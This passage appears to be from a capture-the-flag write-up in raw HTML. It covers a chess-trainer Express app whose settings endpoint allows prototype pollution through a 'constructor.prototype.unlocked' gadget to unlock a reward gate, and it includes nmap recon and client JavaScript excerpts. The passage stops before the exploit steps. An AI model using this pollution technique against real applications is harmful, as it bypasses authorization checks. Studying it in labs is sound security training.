&lt;p&gt;The new attack surface is a &lt;code&gt;/api/settings&lt;/code&gt; endpoint added for board theme/piece-set/animation preferences. It merges whatever JSON object the client sends into the session's settings without filtering dangerous key names. Sending &lt;code&gt;__proto__.unlocked&lt;/code&gt; didn't get through, but pivoting to the &lt;code&gt;constructor.prototype.unlocked&lt;/code&gt; gadget did - it polluted the global &lt;code&gt;Object.prototype&lt;/code&gt; with &lt;code&gt;unlocked: true&lt;/code&gt;. Since the reward-gate check just reads &lt;code&gt;session.config.unlocked&lt;/code&gt; and JavaScript objects fall back to their prototype chain for properties they don't own, the polluted prototype satisfied the check for every object in the app, including the session's &lt;code&gt;config&lt;/code&gt;. From there, resetting the board and replaying the exact same mate-in-one move returned the real flag.&lt;/p&gt;

&lt;p&gt;Box IP referred to below as &lt;code&gt;machine-ip&lt;/code&gt;, running on port 3000 this time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nmap output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 06:31 -0400
Nmap scan report for machine-ip
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;| ssh-hostkey: 
|   256 96:21:f3:54:41:4d:9a:5b:40:2d:fd:07:24:7c:0f:38 (ECDSA)
|_  256 00:86:2a:c8:7d:41:c2:3b:09:33:cf:d2:9f:eb:40:59 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"

Network Distance: 3 hops
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OS: Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class="go"&gt;
TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   56.44 ms 192.168.128.1
2   ...
3   56.88 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Same shape as before: SSH on 22, and the "Endgame Trainer" Express app, just moved to port 3000 this time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Looking at the page
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page is the same mate-in-one chessboard as the original box, but there's a new &lt;strong&gt;Preferences&lt;/strong&gt; card in the sidebar - board theme, piece set, and move animation speed, saved with a "Save preferences" button. That panel didn't exist last time, and it's the first thing worth paying attention to since it's new surface area.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pulling down the client code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/js/app.js &lt;span class="nt"&gt;-o&lt;/span&gt; app.js
&lt;span class="nb"&gt;cat &lt;/span&gt;app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key excerpt from app.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Chess&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../vendor/chess.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;START_FEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;doMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isLegalTarget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;needsPromotion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/move&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;renderFull&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;finalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;refreshHighlights&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;updateStatus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;showFlag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;locked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;showSystemNotice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Checkmate! Reward is locked for this account.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The important difference from the first box: &lt;code&gt;preMoveCheck()&lt;/code&gt; is gone completely. There's no more client-side probe blocking the winning move - &lt;code&gt;doMove()&lt;/code&gt; just calls &lt;code&gt;sendMove()&lt;/code&gt; unconditionally. That confirms the checkmate gate moved server-side this time, and &lt;code&gt;finalize()&lt;/code&gt; shows the server can respond with either a &lt;code&gt;flag&lt;/code&gt; or a &lt;code&gt;locked&lt;/code&gt; state with a message.&lt;/p&gt;

&lt;p&gt;Preferences excerpt from app.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;applyPrefs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;themeSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;pieceSetSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;animationMs&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;documentElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;--anim&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;animationMs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ms&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;animSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;animationMs&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;savePrefs&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prefs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;themeSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;pieceSet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pieceSetSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;animationMs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;animSelect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nf"&gt;applyPrefs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/settings&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preferences&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;applyPrefs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preferences&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
  &lt;span class="nf"&gt;toast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Preferences saved&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;loadState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/state&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fen&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
  &lt;span class="nf"&gt;renderFull&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;updateStatus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;So there are four endpoints in play: &lt;code&gt;/api/state&lt;/code&gt;, &lt;code&gt;/api/move&lt;/code&gt;, &lt;code&gt;/api/reset&lt;/code&gt;, and the new &lt;code&gt;/api/settings&lt;/code&gt;. A couple of quick greps confirmed that's the full API surface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
